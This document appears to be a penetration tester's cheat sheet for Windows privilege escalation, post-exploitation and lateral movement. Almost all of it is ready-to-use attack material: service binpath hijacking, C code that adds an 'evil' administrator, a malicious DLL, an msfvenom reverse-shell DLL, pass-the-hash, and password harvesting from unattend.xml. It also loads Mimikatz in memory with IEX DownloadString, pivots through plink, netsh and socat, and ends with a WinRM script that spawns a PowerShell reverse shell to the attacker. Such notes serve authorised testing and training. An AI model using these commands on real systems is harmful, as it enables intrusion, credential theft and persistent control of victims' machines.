Windows Privilege Escalation

Windows privileges escalation vectors are too many to count but all need enumeration.

Listing OS details

this is beneficials if you want to find an exploit that matches the version of the windows installed.

```
systeminfo | findstr /B /C: "OS Name"/C: "OS Version"
```

List users

```
net users
```

View specific details about a user

```
net users admin
```

View groups

```
net localgroup
```

View running services

```
<C:\Tasklist /svc>
```

Enumerating the permissions of a service:

```
<C:\icacls "C:\Program Files\Serviio\bin\ServiioService.exe"
```

Enumerating permissions on a directory

```
C:> ls | get-acl | fl
```

Viewing ADS and their owners in a directory

```
C:> cmd /C dir /Q /R
```

Viewing ADS of a file

```
C:> type file.extension:[streamname]
```

You can get the stream name of the file by viewing the whole ADS in the directory.
[icacls needs to be downloaded]>

View privilege of current user:

```
<C:\whoami /priv>
```

View users of administrator group

```
<C:\net localgroup Administrators>
```

View system info:

```
<C:\Systeminfo>
```

View installed softwares

```
wmic product get name,version,vendor
```

View installed updates

```
wmic qfe get
Caption,Description,HotFixID,InstalledOn
```

Enumerating Drivers and their version:

```
<C:\driverquery /v>
```

Viewing active connections with PID of each process

```
<C:\netstat -ano>
```

View Scheduled Tasks

```
schtasks /query /fo LIST /v
```

Listing Drivers

```
driverquery
```

Listing the running services

```
<C:\wmic service get
name,displayname,pathname,startmode>
```

or

```
wmic service list brief
```

or you can view those running only

```
wmic service list brief | findstr
"Running"
```

View details about a specific service

```
sc qc [service-name]
```

Listing services that are auto started

```
<C:\wmic service get
name,displayname,pathname,startmode |
findstr /i "auto">
```

Listing non standard windows services with auto start mode

```
<C:\wmic service get
name,displayname,pathname,startmode
|findstr /i "auto"|findstr /i /v
"c:\windows">
```

#Note: In privilege escalation, we need to look for a service that has unquoted service path. All left is to see if the directory containing the service file is writable or not.

Unquoted Service Path

Checking if a directory is writable.

```
<C:\icacls "C:\(name)">
```

#If its writable, then we create a reverse shell that evades Anti virus detection and place it in that directory.
#We can then change the configuration of the service to run our payload instead.

```
<C:\Sc config (service-name) binpath=
(path-to-your-payload)>
```

#Start a new listener on your machine
#Place your payload in the same directory as the service's one.

```
<C:\Sc start (servicename)>
```

finding the owner and info about a service

```
<C:\sc.exe qc [service-name]>
```

Checking the access rights of a service

```
<C:\Accesschk.exe /accepteula /ucqv [service-name]>
```

Changing the bin path of a service to point to your malicious payload

```
<C:\Sc.exe config [service-name] binpath=’cmd /c [path to your payload on the remote host]’>
```

If SeLoadDriverPrivilege is enabled as a privilege for the current user then use capcom exploit

```
<C:.\EOPLOADDRIVER.exe System\CurrentControlSet\MyService >
```

```
<C:\temp\capcom.sys>
```

```
<C:.\ExploitCapcom_modded.exe>
```

Adding a new admin user to the compromised windows system.

Method [1]
Replace this code with an executable file with weak permissions and is run as a service or as an admin.

```
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass
/add");
i = system ("net localgroup administrators
evil /add");
return 0;
}
```

Method[2]
From the command promopt

```
net user /add [username] [password]
net localgroup administrators [username]
/add
```

Harvesting passwords by viewing the unattend.xml file and sysprep.xml – sysprep.inf

From Powershell, Execute

```
<PS C:\Get-Content
"c:\windows\panther\unattend.xml" |
Select-String "Password" -Context 2>
```

Harvesting passwords by looking through common file extensions that store passwords

```
<C:\findstr /si password *.xml *.ini *.txt
*.config *.bat>
```

/si: means searchin in current directory

Harvesting passwords by viewing the unattend.xml file and sysprep.xml – sysprep.inf

From Powershell, Execute

```
<PS C:\Get-Content
"c:\windows\panther\unattend.xml" |
Select-String "Password" -Context 2>
```

Harvesting passwords by looking through common file extensions that store passwords

```
<C:\findstr /si password *.xml *.ini *.txt
*.config *.bat>
```

Adding a new admin user to the compromised windows system. Replace this code with an executable file with weak permissions and is run as a service or as an admin.

```
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user evil Ev!lpass
/add");
i = system ("net localgroup administrators
evil /add");
return 0;
}
```

Pass The Hash

This technique works if you managed to retrieve the NTLM hash of one of the users.
From your attacking machine, issue the below command

```
pth-winexe -U user%NTLM-hash --system
//target-ip cmd.exe
```

DLL Hijacking

DLL hijacking relies on two conditions
1- An application that is trying to access a non-

existent DLL
2- a write access to the location of that missing DLL
After you know the name of the DLL that is missing, you can create a malicious DLL.

Creating malicious DLL with msfvenom

```
sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=your-ip LPORT=your-port -f dll > malicious.dll
```

After you have generated the DLL, place it in the location where the application is trying to access.

Manually using a C code

```
#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {

        if (dwReason == DLL_PROCESS_ATTACH) {
                system("cmd.exe /k net
```

```
user admin newpass");
                ExitProcess(0);
        }
        return TRUE;
}
```

The above code changes the admin password to [newpass]
Compile the code with the below command on linux

```
x86_64-w64-mingw32-gcc code.c -shared -o code.dll
```

Replace [code.dll] with the targeted or missing dll on the target machine then stop and start its associated service to execute your dll.

Tools for privilege escalation

Watson

```
https://github.com/rasta-mouse/Watson
```

To compile the tool, run [Watson.sln] on your windows machine with visual studio.
#Go to visual studio menu -->Project-->Watson

Properties.
#Make sure [Application] is selected in the left side panel.
#Set the [Target Framework] according to the .NET framework on the target.
#Use the below command to get the version of .NET on the target machine

```
query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP"
```

#Next on visual studio-->Build-->Configuration Manager and set the architecture according to your target [x86] or [x64]
#Next on visual studio-->Build-->Build Watson.
#Your file should be ready.

Windows Exploit Suggester

```
https://github.com/GDSSecurity/Windows-Exploit-Suggester.git
```

Update the DB

```
python2 windows-exploit-suggester.py --
update
```

Run it

```
python2 windows-exploit-suggester.py --
database 2017-10-10-mssb.xls --systeminfo
../systeminfo.txt
```

The database is an excel file you download from Microsoft.

Winpeas

```
https://github.com/carlospolop/PEASS-
ng/tree/master/winPEAS
```

Sherlock

```
https://github.com/rasta-mouse/Sherlock
```

After downloading [sherlock.ps1] add the below

```
**Find-AllVulns**
```

To the very end of the file to make the script look for all vulnerabilities and missing updates.

Powershell Empire

Download from below

```
git clone
https://github.com/EmpireProject/Empire.gi
t
```

The file [PowerUp.ps1] should be edited where you need to add [**Invoke-AllChecks**] at the very bottom to be able to use it on any target machine.

Windows Post Exploitation

Adding a new user

```
Net user Motasem Motasem /add
```

Adding the user to the administrators group

```
Net localgroup /add Administrators Motasem
```

Changing the admin password

```
Net user Administrator [new-pass]
```

Enabling RDP to Log-in

This technique is useful when you add a user to the compromised machine and you want to log in with that user using RDP from your machine.

```
reg add
"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlS
et\Control\Terminal Server" /v
fDenyTSConnections /t REG_DWORD /d 0 /f
```

Then enable RDP in the firewall to allow the incoming connection

```
netsh firewall set service remoteadmin
enable netsh firewall set service
remotedesktop enable
```

Adding a user to the domain admins group

```
Net group ‘Domain Admins’ /add [user]
```

Dumping certificates from target machine with powershell and mimikatz in memory:

On the target machine launch the following:

```
PS> $browser = New-Object
System.Net.WebClient
PS> $browser.Proxy.Credentials =
[System.Net.CredentialCache]::DefaultNetwo
rkCredentials
PS>
IEX($browser.DownloadString("https://raw.g
ithubusercontent.Mimikatz.ps1"))
PS> invoke-mimikatz -DumpCerts
```

Viewing alternate data streams in a directory

Method [1]
From the command promopt

```
dir /r
```

This shows if any files have hidden streams
To view the hidden file, we use the more command. Don't forget to replace the file name with the actual hidden file listed when you issued [dir /r]

```
more < hm.txt:file.txt
```

Method[2]
Using powershell
First we issue the below command on the file that is suspected to contain AIDS or alternate data streams

```
get-item .\hm.txt -stream *
```

An output similar to below is expected

Then we view the content of the file using the command below

```
get-content .\filename1.txt -stream filename2.txt
```

Lateral Movement

Using PLINK.EXE

Post compromising a windows-based server, you may need to interact with local ports on the same machine or different machine thus we use [Plink.exe]. It can also be used if you found an open port on the target machine which you can't interact with from your kali machine because it may be blocked by the firewall. Transnfer it to the target machine and run the command on the windows victim.

```
C:\cmd.exe /c echo y | plink.exe -ssh -l
kali -pw ilak -R
10.11.0.4:1234:127.0.0.1:3306 10.11.0.4
```

[10.11.0.4] is your kali machine ip address.
Make sure you run [SSH server] on your kali machine.
This will establish SSH tunnel between windows and kali through which any connection to kali will be redirected to windows on port [3306] which is blocked by the firewall.

#On Kali machine, we can run the nmap scan to interact with port [3306] on the windows server

```
root@kali:~$sudo nmap -sS -sV 127.0.0.1 -p 1234
```

Using NetSH.EXE

We use this tool if we have compromised a windows client and after elevating privileges to SYSTEM. Another requirement is that [IP Helper service] must be running and [IPV6 support] must be turned on in network adapter settings.
The scenario here is that you have compromised a windows 10 machine that is part of a domain controller. Say it's windows server 2016. Windows server 2016 which is the domain controller is running services internally on ports you can't interact with from your kali machine thus you use [NetSh.exe]. Transfer it to the Windows 10 machine.
#The following command will redirect connections from the compromised windows client to the windows 2016 server running the port which is blocked by the firewall.

This command is run on the compromised windows 10:

```
C:\netsh interface portproxy add v4tov4 listenport=4455 listenaddres s=10.11.0.22 connectport=445 connectaddress=192.168.1.110
```

[10.11.0.22] IP of the compromised windows client
[192.168.1.110] IP of the windows server 2016 machine
#Next step is allowing inbound connections on port [445] with a specific windows firewall rule on the windows 10 machine.

```
C:\netsh advfirewall firewall add rule name="forward_port_rule" protocol=TCP dir=in localip=10.11.0.22 localport=4455 action=allow
```

#On the kali machine, we need to enable or configure Samba with [SMBV2]

```
root@kali:~$sudo nano /etc/samba/smb.conf
root@kali:~$cat /etc/samba/smb.conf
```

Add

```
min protocol = SMB2
```

Restart [SMB]

```
root@kali:~$sudo /etc/init.d/smbd restart
```

Now we can run samba client on kali machine to enumerate shares on the windows server 2016

```
root@kali:~$smbclient -L 10.11.0.22 --
port=4455 --user=Administrator
```

[10.11.0.22] IP of the compromised windows 10
Then we interact with the shares and mount them.

```
root@kali:~$sudo mkdir /mnt/win10_share
```

Suppose we found //Data share, we can dump it to our kali machine

```
root@kali:~$sudo mount -t cifs -o
port=4455 //10.11.0.22/Data -o
username=Administrator ,password=Qwerty09!
/mnt/win10_share
```

Using Socat

Socat can be used in scenarios where you discovered a machine running on a different network than the network in which the compromised machine resides.
For example you compromised a machine whose ip is [10.10.10.5] and you found another machine on [172.16.1.6] which you can't reach from your kali machine.
In this case, we use socat to forward the desired ports.
Say the machine on [172.16.1.6] has [8080] port open. We can interact with it by making the machine [10.10.10.5] listens on for example port [60333] so that it forwards all incoming connections on port [60333] to port [8080] on [172.16.1.6]

```
./socat tcp-listen:60333,reuseaddr,fork
tcp:10.10.10.5:8080 &
```

Now from your kali box, you can start sending traffic and interacting with port [8080] by including the port [60333] in all your commands.

For example, enumerating directories on [10.10.10.5]

```
gobuster -u http://172.16.1.6:60333 -w [wordlist]
```

#Another #example would be interacting with [win-rm] port [5986] on the machine to which we want to pivot. In that case, we perform the socat commands listed above along with the below script to get [powershell] on the pivoted machine. #Note For this to work, you need the credentials of the pivoted machine.
The below script is authored by user [Alamot]

```
require 'winrm-fs'

# Author: Alamot

# To upload a file type: UPLOAD local_path remote_path

# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt

conn = WinRM::Connection.new(
```

```
endpoint: 'https://IP:PORT/wsman',

transport: :ssl,

user: 'username',

password: 'password',

:no_ssl_peer_verification => true

)

file_manager =
WinRM::FS::FileManager.new(conn)

class String

def tokenize

self.

split(/\s(?=(?:[^'"]|'[^']*'|"
[^"]*")*$)/).
```

```
select {|s| not s.empty? }.

map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|
(["']+$)/,'')}

end

end

command=""

conn.shell(:powershell) do |shell|

until command == "exit\n" do

output = shell.run("-join($id,'PS
',$(whoami),'@',$env:computername,'
',$((gi $pwd).Name),'> ')")

print(output.output.chomp)

command = gets
```

```
if command.start_with?('UPLOAD') then

upload_command = command.tokenize

print("Uploading " + upload_command[1] + "
to " + upload_command[2])

file_manager.upload(upload_command[1],
upload_command[2]) do |bytes_copied,
total_bytes, local_path, remote_path|

puts("#{bytes_copied} bytes of #
{total_bytes} bytes copied")

end

command = "echo `nOK`n"

end

output = shell.run(command) do |stdout,
stderr|

STDOUT.print(stdout)
```

```
STDERR.print(stderr)

end

end

puts("Exiting with code #
{output.exitcode}")

end
```

The above script can also further be changed to include executing powershell reverseshell so that other machines would connect back to a listener you may create.

#Note

For this to work

First you need the credentials of the first pivoted machine [10.10.10.5] to establish the [winrm] connection.

Second, you need the credentials of the other pivoted machine.

The below script when executed will connect back to another listner you run on your machine.

```
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'https://ip:port/wsman',
  transport: :ssl,
  user: 'username',
  password: 'pass',
  :no_ssl_peer_verification => true
)

conn.shell(:powershell) do |shell|
  output = shell.run("$pass = convertto-
securestring -AsPlainText -Force -String
'pass'; $cred = new-object -typename
System.Management.Automation.PSCredential
-argumentlist
'test.local\\username',$pass; Invoke-
Command -ComputerName machine.test.local -
Credential $cred -Port 5985 -ScriptBlock
{$client = New-Object
System.Net.Sockets.TCPClient('your-
ip',port); $stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0}; while(($i
= $stream.Read($bytes, 0, $bytes.Length))
```

```
-ne 0) {; $data = (New-Object -TypeName
System.Text.ASCIIEncoding).GetString($byte
s,0, $i); $sendback = (iex $data 2>&1 |
Out-String ); $sendback2 = $sendback + 'PS
' + (pwd).Path + '> '; $sendbyte =
([text.encoding]::ASCII).GetBytes($sendbac
k2);
$stream.Write($sendbyte,0,$sendbyte.Length
); $stream.Flush()}; $client.Close(); }")
do |stdout, stderr|
    STDOUT.print stdout
    STDERR.print stderr
  end
  puts "The script exited with exit code #
{output.exitcode}"
end
```